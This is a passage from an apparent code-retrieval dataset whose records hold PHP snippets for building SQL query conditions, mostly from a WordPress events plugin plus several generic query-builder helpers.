\"(`recurrence`!=1 OR `recurrence` IS NULL)\";\n\t\t }\n\t\t}\n\t\t\n\t\t//Timezone - search for events in a specific timezone\n\t\tif( !empty($args['timezone']) ){\n\t\t\tif( !is_array($args['timezone']) ){\n\t\t\t\t$args['timezone'] = explode(',', $args['timezone']);\n\t\t\t}\n\t\t\tforeach( $args['timezone'] as $tz ) $timezones[] = $wpdb->prepare('%s', $tz);\n\t\t\t$conditions['timezone'] = '`event_timezone` IN ('.implode(',', $timezones).')';\n\t\t}\n\t\t\n\t\t//Dates - first check 'month', and 'year', and adjust scope if needed\n\t\tif( !($month=='' && $year=='') ){\n\t\t\t//Sort out month range, if supplied an array of array(month,month), it'll check between these two months\n\t\t\tif( self::array_is_numeric($month) ){\n\t\t\t\t$date_month_start = $month[0];\n\t\t\t\t$date_month_end = $month[1];\n\t\t\t}else{\n\t\t\t\tif( !empty($month) ){\n\t\t\t\t\t$date_month_start = $date_month_end = $month;\t\t\t\t\t\n\t\t\t\t}else{\n\t\t\t\t\t$date_month_start = 1;\n\t\t\t\t\t$date_month_end = 12;\t\t\t\t\n\t\t\t\t}\n\t\t\t}\n\t\t\t//Sort out year range, if supplied an array of array(year,year), it'll check between these two years\n\t\t\tif( self::array_is_numeric($year) ){\n\t\t\t\t$date_year_start = $year[0];\n\t\t\t\t$date_year_end = $year[1];\n\t\t\t}else{\n\t\t\t\t$date_year_start = $date_year_end = $year;\n\t\t\t}\n\t\t\t$date_start = $date_year_start.\"-\".$date_month_start.\"-01\";\n\t\t\t$date_end = date('Y-m-t', mktime(0,0,0,$date_month_end,1,$date_year_end));\n\t\t\t$scope = array($date_start,$date_end); //just modify the scope here\n\t\t}\n\t\t//Build scope query\n\t\tif ( is_array($scope) ) {\n\t\t\t//This is an array, let's split it up\n\t\t\t$date_start = $scope[0];\n\t\t\t$date_end = $scope[1];\n\t\t\tif( !empty($date_start) && empty($date_end) ){\n\t\t\t\t//do a from till infinity\n\t\t\t\t$conditions['scope'] = \" event_start_date >= CAST('$date_start' AS DATE)\";\n\t\t\t}elseif( empty($date_start) && !empty($date_end) ){\n\t\t\t\t//do past till $date_end\n\t\t\t\tif( get_option('dbem_events_current_are_past') ){\n\t\t\t\t\t$conditions['scope'] = \" event_start_date <= CAST('$date_end' AS DATE)\";\n\t\t\t\t}else{\n\t\t\t\t\t$conditions['scope'] = \" event_end_date <= CAST('$date_end' AS DATE)\";\n\t\t\t\t}\n\t\t\t}else{\n\t\t\t\t//date range\n\t\t\t\tif( get_option('dbem_events_current_are_past') ){\n\t\t\t\t\t$conditions['scope'] = \"( event_start_date BETWEEN CAST('$date_start' AS DATE) AND CAST('$date_end' AS DATE) )\";\n\t\t\t\t}else{\n\t\t\t\t\t$conditions['scope'] = \"( event_start_date <= CAST('$date_end' AS DATE) AND event_end_date >= CAST('$date_start' AS DATE) )\";\n\t\t\t\t}\n\t\t\t\t//$conditions['scope'] = \" ( ( event_start_date <= CAST('$date_end' AS DATE) AND event_end_date >= CAST('$date_start' AS DATE) ) OR (event_start_date BETWEEN CAST('$date_start' AS DATE) AND CAST('$date_end' AS DATE)) OR (event_end_date BETWEEN CAST('$date_start' AS DATE) AND CAST('$date_end' AS DATE)) )\";\n\t\t\t}\n\t\t} elseif ( preg_match ( \"/^[0-9]{4}-[0-9]{2}-[0-9]{1,2}$/\", $scope ) ) {\n\t\t\t//Scope can also be a specific date. However, if 'day', 'month', or 'year' are set, that will take precedence\n\t\t\tif( get_option('dbem_events_current_are_past') ){\n\t\t\t\t$conditions['scope'] = \"event_start_date = CAST('$scope' AS DATE)\";\n\t\t\t}else{\n\t\t\t\t$conditions['scope'] = \" ( event_start_date = CAST('$scope' AS DATE) OR ( event_start_date <= CAST('$scope' AS DATE) AND event_end_date >= CAST('$scope' AS DATE) ) )\";\n\t\t\t}\n\t\t} else {\n\t\t\t$EM_DateTime = new EM_DateTime(); //the time, now, in blog/site timezone\n\t\t\tif ($scope == \"past\"){\n\t\t\t\tif( get_option('dbem_events_current_are_past') ){\n\t\t\t\t\t$conditions['scope'] = \" event_start < '\".$EM_DateTime->getDateTime(true).\"'\";\n\t\t\t\t}else{\n\t\t\t\t\t$conditions['scope'] = \" event_end < '\".$EM_DateTime->getDateTime(true).\"'\";\n\t\t\t\t} \n\t\t\t}elseif ($scope == \"today\"){\n\t\t\t\t$conditions['scope'] = \" (event_start_date = CAST('\".$EM_DateTime->getDate().\"' AS DATE))\";\n\t\t\t\tif( !get_option('dbem_events_current_are_past') ){\n\t\t\t\t\t$conditions['scope'] .= \" OR (event_start_date <= CAST('\".$EM_DateTime->getDate().\"' AS DATE) AND event_end_date >= CAST('$EM_DateTime' AS DATE))\";\n\t\t\t\t}\n\t\t\t}elseif ($scope == \"tomorrow\"){\n\t\t\t\t$EM_DateTime->modify('+1 day');\n\t\t\t\t$conditions['scope'] = \"(event_start_date = CAST('\".$EM_DateTime->getDate().\"' AS DATE))\";\n\t\t\t\tif( !get_option('dbem_events_current_are_past') ){\n\t\t\t\t\t$conditions['scope'] .= \" OR (event_start_date <= CAST('\".$EM_DateTime->getDate().\"' AS DATE) AND event_end_date >= CAST('\".$EM_DateTime->getDate().\"' AS DATE))\";\n\t\t\t\t}\n\t\t\t}elseif ($scope == \"month\" || $scope == \"next-month\"){\n\t\t\t\tif( $scope == 'next-month' ) $EM_DateTime->add('P1M');\n\t\t\t\t$start_month = $EM_DateTime->modify('first day of this month')->getDate();\n\t\t\t\t$end_month = $EM_DateTime->modify('last day of this month')->getDate();\n\t\t\t\t$conditions['scope'] = \" (event_start_date BETWEEN CAST('$start_month' AS DATE) AND CAST('$end_month' AS DATE))\";\n\t\t\t\tif( !get_option('dbem_events_current_are_past') ){\n\t\t\t\t\t$conditions['scope'] .= \" OR (event_start_date < CAST('$start_month' AS DATE) AND event_end_date >= CAST('$start_month' AS DATE))\";\n\t\t\t\t}\n\t\t\t}elseif( preg_match('/([0-9]+)\\-months/',$scope,$matches) ){ // next x months means this month (what's left of it), plus the following x months until the end of that month.\n\t\t\t\t$months_to_add = $matches[1];\n\t\t\t\t$start_month = $EM_DateTime->getDate();\n\t\t\t\t$end_month = $EM_DateTime->add('P'.$months_to_add.'M')->format('Y-m-t');\n\t\t\t\t$conditions['scope'] = \" (event_start_date BETWEEN CAST('$start_month' AS DATE) AND CAST('$end_month' AS DATE))\";\n\t\t\t\tif( !get_option('dbem_events_current_are_past') ){\n\t\t\t\t\t$conditions['scope'] .= \" OR (event_start_date < CAST('$start_month' AS DATE) AND event_end_date >= CAST('$start_month' AS DATE))\";\n\t\t\t\t}\n\t\t\t}elseif ($scope == \"future\"){\n\t\t\t\t$conditions['scope'] = \" event_start >= '\".$EM_DateTime->getDateTime(true).\"'\";\n\t\t\t\tif( !get_option('dbem_events_current_are_past') ){\n\t\t\t\t\t$conditions['scope'] .= \" OR (event_end >= '\".$EM_DateTime->getDateTime(true).\"')\";\n\t\t\t\t}\n\t\t\t}\n\t\t\tif( !empty($conditions['scope']) ){\n\t\t\t\t$conditions['scope'] = '('.$conditions['scope'].')';\n\t\t\t}\n\t\t}\n\t\t\n\t\t//Filter by Location - can be object, array, or id\n\t\t$location_id_table = self::$context == EM_POST_TYPE_EVENT ? $events_table:$locations_table;\n\t\tif ( is_numeric($location) && $location > 0 ) { //Location ID takes precedence\n\t\t\t$conditions['location'] = \" {$location_id_table}.location_id = $location\";\n\t\t}elseif ( $location === 0 ) { //only helpful is searching events\n\t\t\t$conditions['location'] = \" {$events_table}.location_id = $location OR {$events_table}.location_id IS NULL\";\n\t\t}elseif ( self::array_is_numeric($location) ){\n\t\t\t$conditions['location'] = \"{$location_id_table}.location_id IN (\" . implode(',', $location) .')';\n\t\t}elseif ( is_object($location) && get_class($location)=='EM_Location' ){ //Now we deal with objects\n\t\t\t$conditions['location'] = \" {$location_id_table}.location_id = $location->location_id\";\n\t\t}elseif ( is_array($location) && @get_class(current($location)=='EM_Location') ){ //we can accept array of ids or EM_Location objects\n\t\t\tforeach($location as $EM_Location){\n\t\t\t\t$location_ids[] = $EM_Location->location_id;\n\t\t\t}\n\t\t\t$conditions['location'] = \"{$location_id_table}.location_id IN (\" . implode(',', $location_ids) .')';\n\t\t}\n\t\t\n\t\t//Filter by Event - can be object, array, or id\n\t\tif ( is_numeric($event) && $event > 0 ) { //event ID takes precedence\n\t\t\t$conditions['event'] = \" {$events_table}.event_id = $event\";\n\t\t}elseif ( self::array_is_numeric($event) ){ //array of ids\n\t\t\t$conditions['event'] = \"{$events_table}.event_id IN (\" . implode(',', $event) .')';\n\t\t}elseif ( is_object($event) && get_class($event)=='EM_Event' ){ //Now we deal with objects\n\t\t\t$conditions['event'] = \" {$events_table}.event_id = $event->event_id\";\n\t\t}elseif ( is_array($event) && @get_class(current($event)=='EM_Event') ){ //we can accept array of ids or EM_event objects\n\t\t\tforeach($event as $EM_Event){\n\t\t\t\t$event_ids[] = $EM_Event->event_id;\n\t\t\t}\n\t\t\t$conditions['event'] = \"{$events_table}.event_id IN (\" . implode(',', $event_ids) .')';\n\t\t}\n\n\t\t//Location specific filters\n\t\t//if we're searching near something, country etc. becomes irrelevant\n\t\tif( !empty($args['near']) && self::array_is_numeric($args['near']) ){\n\t\t\t$distance = !empty($args['near_distance']) && is_numeric($args['near_distance']) ? absint($args['near_distance']) : absint(get_option('dbem_search_form_geo_units',25));\n\t\t\tif( empty($args['near_unit']) ) $args['near_unit'] = get_option('dbem_search_form_geo_distance','mi');\n\t\t\t$unit = ( !empty($args['near_unit']) && $args['near_unit'] == 'km' ) ? 6371 /* kilometers */ : 3959 /* miles */;\n\t\t\t$conditions['near'] = \"( $unit * acos( cos( radians({$args['near'][0]}) ) * cos( radians( location_latitude ) ) * cos( radians( location_longitude ) - radians({$args['near'][1]}) ) + sin( radians({$args['near'][0]}) ) * sin( radians( location_latitude ) ) ) ) < $distance\";\n\t\t}else{\n\t\t\t//country lookup\n\t\t\tif( !empty($args['country']) ){\n\t\t\t\t$countries = em_get_countries();\n\t\t\t\t//we can accept country codes or names so we need to change names to country codes\n\t\t\t\t$country_arg = !is_array($args['country']) ? array($args['country']) : $args['country'];\n\t\t\t foreach( $country_arg as $country ){\n \t\t\t if( array_key_exists($country, $countries) ){\n \t\t\t\t\t//we have a country code\n \t\t\t\t$countries_search[] = $country;\t\t\t\t\t\n \t\t\t}elseif( in_array($country, $countries) ){\n \t\t\t\t//we have a country name, \n \t\t\t\t$countries_search[] = array_search($country, $countries);\n \t\t\t }\n\t\t\t }\n\t\t\t if( !empty($countries_search) ){\n\t\t\t if( count($countries_search) > 1 ){\n\t\t\t $conditions['country'] = \"location_country IN ('\".implode(\"','\",$countries_search).\"')\";\n\t\t\t }else{\n\t\t\t $conditions['country'] = \"location_country='\".array_pop($countries_search).\"'\";\n\t\t\t }\n\t\t\t }\n\t\t\t}\n\t\t\t//state lookup\n\t\t\tif( !empty($args['state']) ){\n\t\t\t\t$conditions['state'] = $wpdb->prepare('location_state=%s', $args['state']);\n\t\t\t}\n\t\t\t//town lookup\n\t\t\tif( !empty($args['town']) ){\n\t\t\t\t$conditions['town'] = $wpdb->prepare('location_town=%s', $args['town']);\n\t\t\t}\n\t\t\t//region lookup\n\t\t\tif( !empty($args['region']) ){\n\t\t\t\t$conditions['region'] = $wpdb->prepare('location_region=%s', $args['region']);\n\t\t\t}\n\t\t\t//postcode lookup\n\t\t\tif( !empty($args['postcode']) ){\n\t\t\t\t$conditions['postcode'] = $wpdb->prepare('location_postcode=%s', $args['postcode']);\n\t\t\t}\n\t\t}\n\t\t\n\t\t//START TAXONOMY FILTERS - can be id, slug, name or comma separated ids/slugs/names, if negative or prepended with a - then considered a negative filter\n\t\t//convert taxonomies to arrays\n\t\t$taxonomies = self::get_taxonomies();\n\t\tforeach( $taxonomies as $item => $item_data ){ //tags and cats turned into an array regardless\n\t\t if( !empty($args[$item]) && !is_array($args[$item]) ){\n\t\t\t\tif( preg_match('/[,&]/', $args[$item]) !== false ){ //accepts numbers or words\n\t\t\t\t\t$args[$item] = explode('&', $args[$item]);\n\t\t\t\t\tforeach($args[$item] as $k=>$v){\n\t\t\t\t\t\t$args[$item][$k] = trim($v);\n\t\t\t\t\t\t$args[$item][$k] = explode(',', $v);\n\t\t\t\t\t\tforeach($args[$item][$k] as $k_x=>$v_x) $args[$item][$k][$k_x] = trim($v_x);\n\t\t\t\t\t}\n\t\t\t\t}else{\n\t\t\t\t $args[$item] = array(trim($args[$item]));\n\t\t\t\t}\n\t\t }\n\t\t}\n\t\tforeach($taxonomies as $tax_name => $tax_data){\n\t\t\tif( !empty($args[$tax_name]) && is_array($args[$tax_name]) ){\n\t\t\t if( !empty($tax_data['ms']) ) self::ms_global_switch(); //if in ms global mode, switch here rather than on each EM_Category instance\n\t\t\t $tax_conds = array();\n\t\t\t //if a single array is supplied then we treat it as an OR type of query, if an array of arrays is supplied we condsider it to be many ANDs of ORs\n\t\t\t //so here we wrap a single array into another array and there is only one 'AND' condition (therefore no AND within this tax search) \n\t\t\t foreach($args[$tax_name] as $k=>$v) if( is_array($v) ) $contains_array = true;\n\t\t\t if( empty($contains_array) ) $args[$tax_name] = array($args[$tax_name]);\n\t\t\t //go through taxonomy arg and generate relevant SQL\n\t\t\t foreach($args[$tax_name] as $tax_id_set){\n\t\t\t\t\t//build array of term ids and negative ids from supplied argument\n\t\t\t\t\t$term_tax_ids = $term_ids = array();\n\t\t\t\t\t$term_tax_not_ids = $term_not_ids = array();\n\t\t\t\t\tforeach($tax_id_set as $tax_id){\n\t\t\t\t\t $tax_id_clean = preg_replace('/^-/', '', $tax_id);\n\t\t\t\t\t\tif( !is_numeric($tax_id_clean) ){\n\t\t\t\t\t\t\t$term = get_term_by('slug', $tax_id_clean, $tax_data['query_var']);\n\t\t\t\t\t\t\tif( empty($term) ){\n\t\t\t\t\t\t\t\t$term = get_term_by('name', $tax_id_clean, $tax_data['query_var']);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t$term = get_term_by('id', $tax_id_clean, $tax_data['query_var']);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif( !empty($term->term_taxonomy_id) ){\n\t\t\t\t\t\t\tif( !preg_match('/^-/', $tax_id) ){\n\t\t\t\t\t\t\t\t$term_tax_ids[] = $term->term_taxonomy_id;\n\t\t\t\t\t\t\t\tif( EM_MS_GLOBAL && !empty($tax_data['ms']) ) $term_ids[] = $term->term_id;\n\t\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t\t$term_tax_not_ids[] = $term->term_taxonomy_id;\n\t\t\t\t\t\t\t\tif( EM_MS_GLOBAL && !empty($tax_data['ms']) ) $term_not_ids[] = $term->term_id;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}elseif( preg_match('/^-/', $tax_id) ){\n\t\t\t\t\t\t //if they supply a negative term for a nonexistent custom taxonomy e.g. -1, we should still \n\t\t\t\t\t\t $ignore_cancel_cond = true;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t//create sql conditions\n\t\t\t\t\tif( count($term_tax_ids) > 0 || count($term_tax_not_ids) > 0 ){\n\t\t\t\t\t //figure out context - what table/field to search\n\t\t\t\t\t $post_context = EM_EVENTS_TABLE.\".post_id\";\n\t\t\t\t\t $ms_context = EM_EVENTS_TABLE.\".event_id\";\n\t\t\t\t\t if( !empty($tax_data['context']) && self::$context == EM_POST_TYPE_LOCATION && in_array( self::$context, $tax_data['context']) ){\n\t\t\t\t\t //context can be either locations or events, since those are the only two CPTs we deal with\n\t\t\t\t\t\t $post_context = EM_LOCATIONS_TABLE.\".post_id\";\n\t\t\t\t\t\t $ms_context = EM_LOCATIONS_TABLE.\".event_id\";\n\t\t\t\t\t }\n\t\t\t\t\t //build conditions\n\t\t\t\t\t\tif( EM_MS_GLOBAL && !empty($tax_data['ms']) ){ //by default only applies to categories\n\t\t\t\t\t\t //we're directly looking for tax ids from within the em_meta table\n\t\t\t\t\t\t\tif( count($term_ids) > 0 ){\n\t\t\t\t\t\t\t\t$tax_conds[] = \"$ms_context IN ( SELECT object_id FROM \".EM_META_TABLE.\" WHERE meta_value IN (\".implode(',',$term_ids).\") AND meta_key='{$tax_data['ms']}' )\";\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif( count($term_not_ids) > 0 ){\n\t\t\t\t\t\t\t\t$tax_conds[] = \"$ms_context NOT IN ( SELECT object_id FROM \".EM_META_TABLE.\" WHERE meta_value IN (\".implode(',',$term_not_ids).\") AND meta_key='{$tax_data['ms']}' )\";\t\t\t\n\t\t\t\t\t\t\t} \n\t\t\t\t\t\t}else{\n\t\t\t\t\t \t//normal taxonomy filtering\n\t\t\t\t\t\t\tif( count($term_tax_ids) > 0 ){\n\t\t\t\t\t\t\t\t$tax_conds[] = \"$post_context IN ( SELECT object_id FROM \".$wpdb->term_relationships.\" WHERE term_taxonomy_id IN (\".implode(',',$term_tax_ids).\") )\";\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif( count($term_tax_not_ids) > 0 ){\n\t\t\t\t\t\t\t\t$tax_conds[] = \"$post_context NOT IN ( SELECT object_id FROM \".$wpdb->term_relationships.\" WHERE term_taxonomy_id IN (\".implode(',',$term_tax_not_ids).\") )\";\t\t\t\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}elseif( empty($ignore_cancel_cond) ){\n\t\t\t\t\t $tax_conds[] = '2=1'; //force a false, supplied taxonomies don't exist\n\t\t\t\t\t break; //no point continuing this loop\n\t\t\t\t\t}\n\t\t\t }\n\t\t\t\tif( count($tax_conds) > 0 ){\n\t\t\t\t\t$conditions[$tax_name] = '('. implode(' AND ', $tax_conds) .')';\n\t\t\t\t}\n\t\t\t if( !empty($tax_data['ms']) ) self::ms_global_switch_back(); //if in ms global mode, switch back from previous switch\n\t\t\t}\n\t\t}\n\t\t//END TAXONOMY FILTERS\n\t\n\t\t//If we want rsvped items, we usually check the event\n\t\tif( $bookings == 1 ){\n\t\t\t$conditions['bookings'] = 'event_rsvp=1';\n\t\t}elseif( $bookings === 'user' && is_user_logged_in()){\n\t\t\t//get bookings of user\n\t\t\t$EM_Person = new EM_Person(get_current_user_id());\n\t\t\t$booking_ids = $EM_Person->get_bookings(true);\n\t\t\tif( count($booking_ids) > 0 ){\n\t\t\t\t$conditions['bookings'] = \"(event_id IN (SELECT event_id FROM \".EM_BOOKINGS_TABLE.\" WHERE booking_id IN (\".implode(',',$booking_ids).\")))\";\n\t\t\t}else{\n\t\t\t\t$conditions['bookings'] = \"(event_id = 0)\";\n\t\t\t}\n\t\t}\n\t\t//Default ownership belongs to an event, child objects can just overwrite this if needed.\n\t\tif( is_numeric($owner) ){\n\t\t\t$conditions['owner'] = 'event_owner='.$owner;\n\t\t}elseif( $owner == 'me' && is_user_logged_in() ){\n\t\t\t$conditions['owner'] = 'event_owner='.get_current_user_id();\n\t\t}elseif( $owner == 'me' && !is_user_logged_in() ){\n\t\t $conditions = array('owner'=>'1=2'); //no events to be shown\n\t\t}elseif( self::array_is_numeric($owner) ){\n\t\t\t$conditions['owner'] = 'event_owner IN ('.implode(',',$owner).')';\n\t\t}\n\t\t//reset the context\n\t\tself::$context = EM_POST_TYPE_EVENT;\n\t\t//return values\n\t\treturn apply_filters('em_object_build_sql_conditions', $conditions);\n\t}", "title": "" }, { "docid": "c20e70ca59c4a90d46c7fc59659079a3", "score": "0.53708035", "text": "public function get_sql_where() {\n list($where, $params) = parent::get_sql_where();\n $where = preg_replace('/firstname/', 'u.firstname', $where);\n $where = preg_replace('/lastname/', 'u.lastname', $where);\n return [$where, $params];\n }", "title": "" }, { "docid": "bed504b4b20960d2253633f4a913ea57", "score": "0.53442436", "text": "public function getWhereClause () {\n\t\t$sets = array();\n\t\tforeach ($this->clauseSets as $set) {\n\t\t\t$sets[] = '('.implode(\"\\n\\t\\tOR \", $set).')';\n\t\t}\n\t\t\n\t\treturn implode(\"\\n\\tAND \", $sets);\n\t}", "title": "" }, { "docid": "908ad3780f5566456b36dc975fc768a6", "score": "0.5338893", "text": "public function select_data_by_multiple_condition($tablename, $condition_array = array(), $data = '*', $where_in_col = '', $orderby = '', $limit = '', $offset = '', $join_str = array(), $groupby = '', $condition_or_arr = array(), $where_in_val = array()) {\n $this->db->select($data);\n $this->db->from($tablename);\n\n //if join_str array is not empty then implement the join query\n if (!empty($join_str)) {\n foreach ($join_str as $join) {\n if (!isset($join['join_type'])) {\n $this->db->join($join['table'], $join['join_table_id'] . '=' . $join['from_table_id']);\n } else {\n $this->db->join($join['table'], $join['join_table_id'] . '=' . $join['from_table_id'], $join['join_type']);\n }\n }\n }\n\n //condition array pass to where condition\n $this->db->where($condition_array);\n //$this->db->where('student_assignment_reply.student_id is null');\n if (!empty($where_in_val)) {\n $this->db->where_in($where_in_col, $where_in_val);\n } else {\n $this->db->where_in($where_in_col);\n }\n if (!empty($condition_or_arr)) {\n $this->db->group_start();\n $this->db->or_where($condition_or_arr);\n $this->db->group_end();\n }\n //Setting Limit for Paging\n if ($limit != '' && $offset == 0) {\n $this->db->limit($limit);\n } else if ($limit != '' && $offset != 0) {\n $this->db->limit($limit, $offset);\n }\n\n if ($groupby != '') {\n $this->db->group_by($groupby);\n }\n //order by query\n\n if ($orderby = '') {\n $this->db->order_by($orderby);\n }\n\n\n $query = $this->db->get();\n\n //if limit is empty then returns total count\n if ($limit == '') {\n $query->num_rows();\n }\n //if limit is not empty then return result array\n return $query->result_array();\n }", "title": "" }, { "docid": "d3ff4a614c6daaae8cb772986331ffda", "score": "0.5338708", "text": "public function conditions()\n {\n $req = RequestContext::getRequest();\n $inputs = array_merge($req->query(), $req->post());\n\n $conditions = [];\n foreach ($this->filters() as $filter) {\n $conditions[] = $filter->condition($inputs);\n }\n\n $conditions = tap(array_filter($conditions), function ($conditions) {\n if (!empty($conditions)) {\n $this->expand();\n }\n });\n\n return $conditions;\n }", "title": "" }, { "docid": "bac2d960f351f8bae7ef7f99bfbf449e", "score": "0.53351724", "text": "private function _preparedJoin($join)\n {\n // Recurse if the first $join element is an array: this means $join is\n // an array of arrays, that is an array or join definition\n if (is_array(reset($join))) {\n $self = array(&$this, __FUNCTION__);\n return implode(' ', array_map($self, $join));\n }\n\n extract($join, EXTR_REFS);\n isset($mode) || $mode = 'LEFT JOIN';\n\n $result = ' ' . $mode . ' ';\n isset($path) && $result .= $this->preparedName($path) . ' AS ';\n $result .= $this->preparedName($slave_table) .\n ' ON ' . $this->_preparedField($master, $master_table) .\n '=' . $this->_preparedField($slave, $slave_table);\n\n return $result;\n }", "title": "" }, { "docid": "ac588657c5310907ca6705b14c7e4908", "score": "0.5335115", "text": "public static function concatAnd()\n {\n return new Criteria(implode(' AND ', func_get_args()));\n }", "title": "" }, { "docid": "8336f1fc76fe15cfbd44c64a27d31a33", "score": "0.5332538", "text": "public function testMultiJoin()\n {\n $this->todo('stub');\n }", "title": "" }, { "docid": "e14329984226f3e3f5c38b9261b9738e", "score": "0.5332137", "text": "protected function _buildConditions() {\r\n\t\t$qb = $this->createQueryBuilder('p');\r\n\t\treturn $qb;\r\n\t}", "title": "" }, { "docid": "bc9fa328c74837f61e2cc40c9a0c2b54", "score": "0.53288", "text": "public function getJoin() {\n $join = $this->xml->join;\n return $join;\n }", "title": "" }, { "docid": "758fb0c67a71677e53151d0bbddf237f", "score": "0.5327916", "text": "function crossjoin2b(){\n DB::table('users')->crossJoin('products')->crossJoin('roles')\n ->where(['users.id', 90])\n ->unhideAll()\n ->showDeleted()\n ->dontExec()->get();\n \n dd(DB::getLog()); \n }", "title": "" }, { "docid": "5875af1d2d4921d23fca44cd8a4fdbaa", "score": "0.53253806", "text": "function fn_generate_feature_conditions($items, $selected_items, $join, $condition, $lang_code, $params = array())\n{\n list($variant_features, $value_features, $valueint_features) = fn_split_selected_feature_variants($items, $selected_items);\n\n // find selected variants for features with variants\n if (!empty($variant_features)) {\n\n $conditions = array();\n\n foreach ($variant_features as $fid => $variants) {\n $join .= db_quote(\" LEFT JOIN ?:product_features_values as var_val_$fid ON var_val_$fid.product_id = products.product_id AND var_val_$fid.lang_code = ?s AND var_val_$fid.feature_id = ?i\", $lang_code, $fid);\n $conditions[$fid] = db_quote(\"var_val_$fid.variant_id IN (?n)\", $variants);\n }\n\n // This is used to get all available filter variants for current conditions (magic becomes here :))\n if (!empty($params['split_filters']) && sizeof($variant_features) > 1) {\n\n // This condition gets available variants for all not selected filters\n $combined_conditions = array(\n '(' . implode(' AND ', $conditions) . db_quote(' AND ?:product_features_values.feature_id NOT IN (?n))', array_keys($conditions))\n );\n\n foreach ($variant_features as $fid => $variants) {\n $tmp = $conditions;\n unset($tmp[$fid]);\n // This condition gets available variants for certain filter with ID == $fid\n $combined_conditions[] = '(' . implode(' AND ', $tmp) . db_quote(' AND ?:product_features_values.feature_id = ?i)', $fid);\n }\n $condition .= ' AND (' . implode(' OR ', $combined_conditions) . ')';\n } else {\n if (!empty($params['variant_filter']) && sizeof($variant_features) == 1) {\n $feature_ids = array_keys($variant_features);\n $fid = reset($feature_ids);\n $condition .= ' AND (' . implode(' AND ', $conditions) . db_quote(' OR ?:product_features_values.feature_id = ?i', $fid) . ')';\n } else {\n $condition .= ' AND (' . implode(' AND ', $conditions) . ')';\n }\n }\n }\n\n // find selected variants for features with custom values\n if (!empty($valueint_features)) {\n foreach ($valueint_features as $fid => $ranges) {\n $join .= db_quote(\" LEFT JOIN ?:product_features_values as var_val_$fid ON var_val_$fid.product_id = products.product_id AND var_val_$fid.lang_code = ?s AND var_val_$fid.feature_id = ?i\", $lang_code, $fid);\n $condition .= db_quote(\" AND (var_val_$fid.value_int >= ?d AND var_val_$fid.value_int <= ?d AND var_val_$fid.value = '')\", $ranges[0], $ranges[1]);\n }\n }\n\n // find selected variants for checkbox and text features\n if (!empty($value_features)) {\n foreach ($value_features as $fid => $value) {\n $join .= db_quote(\" LEFT JOIN ?:product_features_values as ch_features_$fid ON ch_features_$fid.product_id = products.product_id AND ch_features_$fid.lang_code = ?s AND ch_features_$fid.feature_id = ?i\", $lang_code, $fid);\n $condition .= db_quote(\" AND ch_features_$fid.value = ?s\", $value);\n }\n }\n\n return array($join, $condition);\n}", "title": "" }, { "docid": "223ce405bec30d58d93f0ae5bc772f13", "score": "0.5324361", "text": "protected function buildConditions() {\n\t\t// last activity time\n\t\tif ($startDate = @strtotime($this->lastActivityTimeStart)) {\n\t\t\t$this->eventObj->conditions->add('user_table.lastActivityTime >= ?', array($startDate));\n\t\t}\n\t\tif ($endDate = @strtotime($this->lastActivityTimeEnd)) {\n\t\t\t$this->eventObj->conditions->add('user_table.lastActivityTime <= ?', array($endDate));\n\t\t}\n\t\t\n\t\tif ($this->enabled) {\n\t\t\t$this->eventObj->conditions->add('user_table.activationCode = ?', array(0));\n\t\t}\n\t\tif ($this->disabled) {\n\t\t\t$this->eventObj->conditions->add('user_table.activationCode <> ?', array(0));\n\t\t}\n\t}", "title": "" }, { "docid": "1854ee46ec38f220ab1f17c0656f3ced", "score": "0.5321243", "text": "public function build_where_clause()\n {\n if ( count($this->where_conditions) > 0 ) {\n $result = implode(' AND ', $this->where_conditions);\n } else {\n $result = false;\n }\n\n return $result;\n }", "title": "" } ]
d74392a55da09da0f1e42b922a4af643
Format this blocks area name into something nicer to read, cammelcase to spaces
[ { "docid": "cc7d2a8ea2cc351ea2b2bdb2a75a8d7a", "score": "0.5561537", "text": "public function AreaNice(){\n\t\treturn FormField::name_to_label($this->Area);\n\t}", "title": "" } ]
[ { "docid": "950bddabcd7ac24bee4dad5024de1e80", "score": "0.68601954", "text": "public static function areaName(): string\n {\n return 'area';\n }", "title": "" }, { "docid": "522c51f79994b0ecadc023c904b289d8", "score": "0.6128281", "text": "private function _formatName()\n {\n $this->_labelSuffix = str_replace(array('/', '-'), '_', $this->_currentAction);\n }", "title": "" }, { "docid": "3dcb14cc37d4c83dc1289be8c83b6a88", "score": "0.59515923", "text": "public function name() {\n\t\t// Replace spaces with underscore and removes any invalid characters.\n\t\t$groups = $this->groups + (array) sanitize_key( preg_replace( '/\\s+/', '_', $this->field_name ) );\nvar_dump($groups);\n\t\t$name = array_shift( $groups );\n\t\t$name .= ( empty( $groups ) ) ? \"\" : \"[\" . implode(\"][\", $this->groups) . \"]\";\n\n\t\treturn $name;\n\t}", "title": "" }, { "docid": "a5b82c478c3612a617634af2b92bb716", "score": "0.59062856", "text": "protected function prettifyFieldName($name) {\n return ucwords(preg_replace('/(?<=\\w)(?=[A-Z])/', \" $1\", $name));\n }", "title": "" }, { "docid": "6d1a3d36eea552f678b1263d1cb29a70", "score": "0.5882815", "text": "function formatName($string) {\n\t\treturn ucwords(str_replace(\"_\", \" \", $string));\n\t}", "title": "" }, { "docid": "45296408547a20d4def2a18df6cfa6ce", "score": "0.5877569", "text": "static public function valid_sidebar_name($str){\r\n $str = preg_replace('#[\\s@\\#\\$\\!%\\^\\&\\*\\(\\)\\-\\+\\=\\~]#','_',$str);\r\n //$str = preg_replace('#-{2,}#','_',$str);\r\n return $str;\r\n }", "title": "" }, { "docid": "f67fe2eff2494c065cb9eb1c79400994", "score": "0.5858687", "text": "private function formatName($name) {\n Debug::Log();\n\n return $name;\n }", "title": "" }, { "docid": "3d9e0bb6e6a3f57823b0871e1219c934", "score": "0.5827586", "text": "function display_name()\t{\n return\tget_string('ilp_dashboard_gradebook_tab_name','block_ilp');\n }", "title": "" }, { "docid": "b1b65e99b3939aedc3320df4e2f9ba2f", "score": "0.5815376", "text": "protected function NameString() {\n\t$out = $this->GetKeyValue()\n\t .' (s'\n\t .$this->SourceID()\n\t .' g'\n\t .$this->GroupID()\n\t .' t'\n\t 